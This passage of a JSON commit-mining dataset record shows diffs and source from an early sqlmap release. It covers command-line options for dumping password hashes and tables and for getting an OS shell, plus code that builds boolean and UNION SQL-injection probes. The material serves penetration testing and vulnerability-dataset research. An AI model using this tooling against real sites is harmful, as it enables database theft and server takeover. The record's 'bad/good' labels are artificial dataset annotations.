dest=\"cookie\",\n help=\"HTTP Cookie header\")\n\n request.add_option(\"--referer\", dest=\"referer\",\n help=\"HTTP Referer header\")\n\n request.add_option(\"--user-agent\", dest=\"agent\",\n help=\"HTTP User-Agent header\")\n\n request.add_option(\"-a\", dest=\"userAgentsFile\",\n help=\"Load a random HTTP User-Agent \"\n \"header from file\")\n\n request.add_option(\"--headers\", dest=\"headers\",\n help=\"Extra HTTP headers '\\\\n' separated\")\n\n request.add_option(\"--auth-type\", dest=\"aType\",\n help=\"HTTP Authentication type, value: \"\n \"Basic or Digest\")\n\n request.add_option(\"--auth-cred\", dest=\"aCred\",\n help=\"HTTP Authentication credentials, value: \"\n \"name:password\")\n\n request.add_option(\"--proxy\", dest=\"proxy\",\n help=\"Use a HTTP proxy to connect to the target url\")\n\n request.add_option(\"--threads\", dest=\"threads\", type=\"int\",\n help=\"Maximum number of concurrent HTTP \"\n \"requests (default 1)\")\n\n request.add_option(\"--delay\", dest=\"delay\", type=\"float\",\n help=\"Delay in seconds between each HTTP request\")\n\n request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\",\n help=\"Seconds to wait before timeout connection \"\n \"(default 30)\")\n\n\n # Injection options\n injection = OptionGroup(parser, \"Injection\", \"These options can be \"\n \"used to specify which parameters to test \"\n \"for, provide custom injection payloads and \"\n \"how to parse and compare HTTP responses \"\n \"page content when using the blind SQL \"\n \"injection technique.\")\n\n injection.add_option(\"-p\", dest=\"testParameter\",\n help=\"Testable parameter(s)\")\n\n injection.add_option(\"--dbms\", dest=\"dbms\",\n help=\"Force back-end DBMS to this value\")\n\n injection.add_option(\"--prefix\", dest=\"prefix\",\n help=\"Injection payload prefix string\")\n\n injection.add_option(\"--postfix\", dest=\"postfix\",\n help=\"Injection payload postfix string\")\n\n injection.add_option(\"--string\", dest=\"string\",\n help=\"String to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--regexp\", dest=\"regexp\",\n help=\"Regexp to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--excl-str\", dest=\"eString\",\n help=\"String to be excluded before calculating \"\n \"page hash\")\n\n injection.add_option(\"--excl-reg\", dest=\"eRegexp\",\n help=\"Regexp matches to be excluded before \"\n \"calculating page hash\")\n\n\n # Techniques options\n techniques = OptionGroup(parser, \"Techniques\", \"These options can \"\n \"be used to test for specific SQL injection \"\n \"technique or to use one of them to exploit \"\n \"the affected parameter(s) rather than using \"\n \"the default blind SQL injection technique.\")\n\n techniques.add_option(\"--stacked-test\", dest=\"stackedTest\",\n action=\"store_true\",\n help=\"Test for stacked queries (multiple \"\n \"statements) support\")\n\n techniques.add_option(\"--time-test\", dest=\"timeTest\",\n action=\"store_true\",\n help=\"Test for Time based blind SQL injection\")\n\n techniques.add_option(\"--union-test\", dest=\"unionTest\",\n action=\"store_true\",\n help=\"Test for UNION query (inband) SQL injection\")\n\n techniques.add_option(\"--union-use\", dest=\"unionUse\",\n action=\"store_true\",\n help=\"Use the UNION query (inband) SQL injection \"\n \"to retrieve the queries output. No \"\n \"need to go blind\")\n\n\n # Fingerprint options\n fingerprint = OptionGroup(parser, \"Fingerprint\")\n\n fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\",\n action=\"store_true\",\n help=\"Perform an extensive DBMS version fingerprint\")\n\n\n # Enumeration options\n enumeration = OptionGroup(parser, \"Enumeration\", \"These options can \"\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n \"you can run your own SQL SELECT queries.\")\n\n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n\n enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\",\n action=\"store_true\",\n help=\"Retrieve DBMS current user\")\n\n enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\",\n action=\"store_true\",\n help=\"Retrieve DBMS current database\")\n\n enumeration.add_option(\"--is-dba\", dest=\"isDba\",\n action=\"store_true\",\n help=\"Detect if the DBMS current user is DBA\")\n\n enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\",\n help=\"Enumerate DBMS users\")\n\n enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\",\n action=\"store_true\",\n help=\"Enumerate DBMS users password hashes (opt: -U)\")\n\n enumeration.add_option(\"--privileges\", dest=\"getPrivileges\",\n action=\"store_true\",\n help=\"Enumerate DBMS users privileges (opt: -U)\")\n\n enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\",\n help=\"Enumerate DBMS databases\")\n\n enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\",\n help=\"Enumerate DBMS database tables (opt: -D)\")\n\n enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\",\n help=\"Enumerate DBMS database table columns \"\n \"(req:-T opt:-D)\")\n\n enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\",\n help=\"Dump DBMS database table entries \"\n \"(req: -T, opt: -D, -C, --start, --stop)\")\n\n enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\",\n help=\"Dump all DBMS databases tables entries\")\n\n enumeration.add_option(\"-D\", dest=\"db\",\n help=\"DBMS database to enumerate\")\n\n enumeration.add_option(\"-T\", dest=\"tbl\",\n help=\"DBMS database table to enumerate\")\n\n enumeration.add_option(\"-C\", dest=\"col\",\n help=\"DBMS database table column to enumerate\")\n\n enumeration.add_option(\"-U\", dest=\"user\",\n help=\"DBMS user to enumerate\")\n\n enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\",\n action=\"store_true\",\n help=\"Exclude DBMS system databases when \"\n \"enumerating tables\")\n\n enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\",\n help=\"First table entry to dump\")\n\n enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\",\n help=\"Last table entry to dump\")\n\n enumeration.add_option(\"--sql-query\", dest=\"query\",\n help=\"SQL SELECT query to be executed\")\n\n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\n help=\"Prompt for an interactive SQL shell\")\n\n\n # File system options\n filesystem = OptionGroup(parser, \"File system access\", \"These options \"\n \"can be used to access the back-end database \"\n \"management system file system taking \"\n \"advantage of native DBMS functions or \"\n \"specific DBMS design weaknesses.\")\n\n filesystem.add_option(\"--read-file\", dest=\"rFile\",\n help=\"Read a specific OS file content (only on MySQL)\")\n\n filesystem.add_option(\"--write-file\", dest=\"wFile\",\n help=\"Write to a specific OS file (not yet available)\")\n\n\n # Takeover options\n takeover = OptionGroup(parser, \"Operating system access\", \"This \"\n \"option can be used to access the back-end \"\n \"database management system operating \"\n \"system taking advantage of specific DBMS \"\n \"design weaknesses.\")\n\n takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\",\n help=\"Prompt for an interactive OS shell \"\n \"(only on PHP/MySQL environment with a \"\n \"writable directory within the web \"\n \"server document root for the moment)\")\n\n\n # Miscellaneous options\n miscellaneous = OptionGroup(parser, \"Miscellaneous\")\n\n miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\",\n help=\"Retrieve each query output length and \"\n \"calculate the estimated time of arrival \"\n \"in real time\")\n\n miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\",\n help=\"Update sqlmap to the latest stable version\")\n\n miscellaneous.add_option(\"-s\", dest=\"sessionFile\",\n help=\"Save and resume all data retrieved \"\n \"on a session file\")\n\n miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\",\n help=\"Save options on a configuration INI file\")\n\n miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\",\n help=\"Never ask for user input, use the default behaviour\")\n\n\n parser.add_option_group(target)\n parser.add_option_group(request)\n parser.add_option_group(injection)\n parser.add_option_group(techniques)\n parser.add_option_group(fingerprint)\n parser.add_option_group(enumeration)\n parser.add_option_group(filesystem)\n parser.add_option_group(takeover)\n parser.add_option_group(miscellaneous)\n\n (args, _) = parser.parse_args()\n\n if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:\n errMsg = \"missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), \"\n errMsg += \"-h for help\"\n parser.error(errMsg)\n\n return args\n except (OptionError, TypeError), e:\n parser.error(e)\n\n debugMsg = \"parsing command line\"\n logger.debug(debugMsg)\n"}, "/lib/request/comparison.py": {"changes": [{"diff": "\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n el", "add": 2, "remove": 2, "filename": "/lib/request/comparison.py", "badparts": [" return round(conf.seqMatcher.ratio(), 5)", " elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:"], "goodparts": [" return round(conf.seqMatcher.ratio(), 3)", " elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re from lib.core.data import conf from lib.core.settings import MATCH_RATIO def comparison(page, headers=None, getSeqMatcher=False): regExpResults=None if conf.eString and conf.eString in page: index =page.index(conf.eString) length =len(conf.eString) pageWithoutString =page[:index] pageWithoutString +=page[index+length:] page =pageWithoutString if conf.eRegexp: regExpResults=re.findall(conf.eRegexp, page, re.I | re.M) if regExpResults: for regExpResult in regExpResults: index =page.index(regExpResult) length =len(regExpResult) pageWithoutRegExp =page[:index] pageWithoutRegExp +=page[index+length:] page =pageWithoutRegExp if conf.string: if conf.string in page: return True else: return False if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False conf.seqMatcher.set_seq2(page) if getSeqMatcher: return round(conf.seqMatcher.ratio(), 5) elif round(conf.seqMatcher.ratio(), 5) >=MATCH_RATIO: return True else: return False ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\n\nfrom lib.core.data import conf\nfrom lib.core.settings import MATCH_RATIO\n\n\ndef comparison(page, headers=None, getSeqMatcher=False):\n regExpResults = None\n\n # String to be excluded before calculating page hash\n if conf.eString and conf.eString in page:\n index = page.index(conf.eString)\n length = len(conf.eString)\n pageWithoutString = page[:index]\n pageWithoutString += page[index+length:]\n page = pageWithoutString\n\n # Regular expression matches to be excluded before calculating page hash\n if conf.eRegexp:\n regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n\n if regExpResults:\n for regExpResult in regExpResults:\n index = page.index(regExpResult)\n length = len(regExpResult)\n pageWithoutRegExp = page[:index]\n pageWithoutRegExp += page[index+length:]\n page = pageWithoutRegExp\n\n # String to match in page when the query is valid\n if conf.string:\n if conf.string in page:\n return True\n else:\n return False\n\n # Regular expression to match in page when the query is valid\n if conf.regexp:\n if re.search(conf.regexp, page, re.I | re.M):\n return True\n else:\n return False\n\n # By default it returns sequence matcher between the first untouched\n # HTTP response page content and this content\n conf.seqMatcher.set_seq2(page)\n\n if getSeqMatcher:\n return round(conf.seqMatcher.ratio(), 5)\n\n elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n return True\n\n else:\n return False\n"}, "/lib/techniques/inband/union/test.py": {"changes": [{"diff": "\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "add": 8, "remove": 8, "filename": "/lib/techniques/inband/union/test.py", "badparts": [" newResult = Request.queryPage(payload)", " if count:", " for element in resultDict.values():", " if element[0] == 1:", " value = \"%s?%s\" % (conf.url, payload)", " value += \"\\nPOST:\\t'%s'\\n\" % payload", " value += \"\\nCookie:\\t'%s'\\n\" % payload", " value += \"\\nUser-Agent:\\t'%s'\\n\" % payload"], "goodparts": [" newResult = Request.queryPage(payload, getSeqMatcher=True)", " if count > 3:", " for ratio, element in resultDict.items():", " if element[0] == 1 and ratio > 0.5:", " value = \"%s?%s\" % (conf.url, element[1])", " value += \"\\nPOST:\\t'%s'\\n\" % element[1]", " value += \"\\nCookie:\\t'%s'\\n\" % element[1]", " value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" from lib.core.agent import agent from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.request.connect import Connect as Request def __effectiveUnionTest(query, comment): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table \"\"\" resultDict={} for count in range(0, 50): if kb.dbms==\"Oracle\" and query.endswith(\" FROM DUAL\"): query=query[:-len(\" FROM DUAL\")] if count: query +=\", NULL\" if kb.dbms==\"Oracle\": query +=\" FROM DUAL\" commentedQuery=agent.postfixQuery(query, comment) payload=agent.payload(newValue=commentedQuery) newResult=Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult]=(1, commentedQuery) else: resultDict[newResult]=(resultDict[newResult][0] +1, commentedQuery) if count: for element in resultDict.values(): if element[0]==1: if kb.injPlace==\"GET\": value=\"%s?%s\" %(conf.url, payload) elif kb.injPlace==\"POST\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nPOST:\\t'%s'\\n\" % payload elif kb.injPlace==\"Cookie\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nCookie:\\t'%s'\\n\" % payload elif kb.injPlace==\"User-Agent\": value =\"URL:\\t\\t'%s'\" % conf.url value +=\"\\nUser-Agent:\\t'%s'\\n\" % payload return value return None def unionTest(): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times \"\"\" logMsg =\"testing inband sql injection on parameter \" logMsg +=\"'%s'\" % kb.injParameter logger.info(logMsg) value=\"\" query=agent.prefixQuery(\" UNION ALL SELECT NULL\") for comment in(queries[kb.dbms].comment, \"\"): value=__effectiveUnionTest(query, comment) if value: setUnion(comment, value.count(\"NULL\")) break if kb.unionCount: logMsg =\"the target url could be affected by an \" logMsg +=\"inband sql injection vulnerability\" logger.info(logMsg) else: warnMsg =\"the target url is not affected by an \" warnMsg +=\"inband sql injection vulnerability\" logger.warn(warnMsg) return value ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nfrom lib.core.agent import agent\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.data import queries\nfrom lib.core.session import setUnion\nfrom lib.request.connect import Connect as Request\n\n\ndef __effectiveUnionTest(query, comment):\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 50 columns\n on the target database table\n \"\"\"\n\n resultDict = {}\n\n for count in range(0, 50):\n if kb.dbms == \"Oracle\" and query.endswith(\" FROM DUAL\"):\n query = query[:-len(\" FROM DUAL\")]\n\n if count:\n query += \", NULL\"\n\n if kb.dbms == \"Oracle\":\n query += \" FROM DUAL\"\n\n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n newResult = Request.queryPage(payload)\n\n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n\n if count:\n for element in resultDict.values():\n if element[0] == 1:\n if kb.injPlace == \"GET\":\n value = \"%s?%s\" % (conf.url, payload)\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nPOST:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nCookie:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n\n return value\n\n return None\n\n\ndef unionTest():\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 3*50 times\n \"\"\"\n\n logMsg = \"testing inband sql injection on parameter \"\n logMsg += \"'%s'\" % kb.injParameter\n logger.info(logMsg)\n\n value = \"\"\n\n query = agent.prefixQuery(\" UNION ALL SELECT NULL\")\n\n for comment in (queries[kb.dbms].comment, \"\"):\n value = __effectiveUnionTest(query, comment)\n\n if value:\n setUnion(comment, value.count(\"NULL\"))\n\n break\n\n if kb.unionCount:\n logMsg = \"the target url could be affected by an \"\n logMsg += \"inband sql injection vulnerability\"\n logger.info(logMsg)\n else:\n warnMsg = \"the target url is not affected by an \"\n warnMsg += \"inband sql injection vulnerability\"\n logger.warn(warnMsg)\n\n return value\n"}}, "msg": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py."}}, "https://github.com/gammapapa/1": {"35708a0b975f89357e75f8f74999900da9fe9894": {"url": "https://api.github.com/repos/gammapapa/1/commits/35708a0b975f89357e75f8f74999900da9fe9894", "html_url": "https://github.com/gammapapa/1/commit/35708a0b975f89357e75f8f74999900da9fe9894", "message": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py.", "sha": "35708a0b975f89357e75f8f74999900da9fe9894", "keyword": "command injection update", "diff": "diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py\nindex 9cc7a48d..8a1ddc64 100644\n--- a/lib/contrib/multipartpost.py\n+++ b/lib/contrib/multipartpost.py\n@@ -5,6 +5,8 @@\n \n 02/2006 Will Holcomb \n \n+Reference: http://odin.himinbi.org/MultipartPostHandler.py\n+\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n@@ -14,6 +16,10 @@\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n+\n+You should have received a copy of the GNU Lesser General Public\n+License along with this library; if not, write to the Free Software\n+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \"\"\"\n \n \ndiff --git a/lib/controller/checks.py b/lib/controller/checks.py\nindex 3050728c..2202dab0 100644\n--- a/lib/controller/checks.py\n+++ b/lib/controller/checks.py\n@@ -295,15 +295,12 @@ def checkStability():\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\ndiff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py\nindex f3349f13..c89180de 100644\n--- a/lib/parse/cmdline.py\n+++ b/lib/parse/cmdline.py\n@@ -189,7 +189,7 @@ def cmdLineParser():\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n@@ -258,7 +258,7 @@ def cmdLineParser():\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\ndiff --git a/lib/request/comparison.py b/lib/request/comparison.py\nindex a42542bf..3c520818 100644\n--- a/lib/request/comparison.py\n+++ b/lib/request/comparison.py\n@@ -72,9 +72,9 @@ def comparison(page, headers=None, getSeqMatcher=False):\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n else:\ndiff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py\nindex e0bd1e5d..3ef577b7 100644\n--- a/lib/techniques/inband/union/test.py\n+++ b/lib/techniques/inband/union/test.py\n@@ -54,27 +54,27 @@ def __effectiveUnionTest(query, comment):\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "files": {"/lib/controller/checks.py": {"changes": [{"diff": "\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page ", "add": 2, "remove": 5, "filename": "/lib/controller/checks.py", "badparts": [" time.sleep(0.5)", " thirdPage, thirdHeaders = Request.queryPage(content=True)", " condition = firstPage == secondPage", " condition &= secondPage == thirdPage"], "goodparts": [" time.sleep(1)", " condition = firstPage == secondPage"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re import time from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request def checkSqlInjection(place, parameter, value, parenthesis): \"\"\" This function checks if the GET, POST, Cookie, User-Agent parameters are affected by a SQL injection vulnerability and identifies the type of SQL injection: * Unescaped numeric injection * Single quoted string injection * Double quoted string injection \"\"\" randInt=randomInt() randStr=randomStr() if conf.prefix or conf.postfix: prefix =\"\" postfix=\"\" if conf.prefix: prefix=conf.prefix if conf.postfix: postfix=conf.postfix infoMsg =\"testing custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt, postfix)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%d=%d %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming custom injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s%s AND %s%s %s\" %(value, prefix, \")\" * parenthesis, \"(\" * parenthesis, randStr, postfix)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"custom injectable \" logger.info(infoMsg) return \"custom\" infoMsg =\"testing unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt)) trueResult=Request.queryPage(payload, place) if trueResult==True: payload=agent.payload(place, parameter, value, \"%s%s AND %s%d=%d\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randInt, randInt +1)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"confirming unescaped numeric injection \" infoMsg +=\"on %s parameter '%s'\" %(place, parameter) logger.info(infoMsg) payload=agent.payload(place, parameter, value, \"%s%s AND %s%s\" %(value, \")\" * parenthesis, \"(\" * parenthesis, randStr)) falseResult=Request.queryPage(payload, place) if falseResult !=True: infoMsg =\"%s parameter '%s' is \" %(place, parameter) infoMsg +=\"unescaped numeric injectable \" infoMsg +=\"with %d parenthesis\" % parenthesis logger.info(infoMsg) return \"numeric\" infoMsg =\"%s parameter '%s' is not \" %(place, parameter) infoMsg +=\"unescaped numeric injectable\" logger.info(infoMsg) infoMsg =\"testing single quoted string injection \" infoMsg +=\"on %s parameter '%s'\" 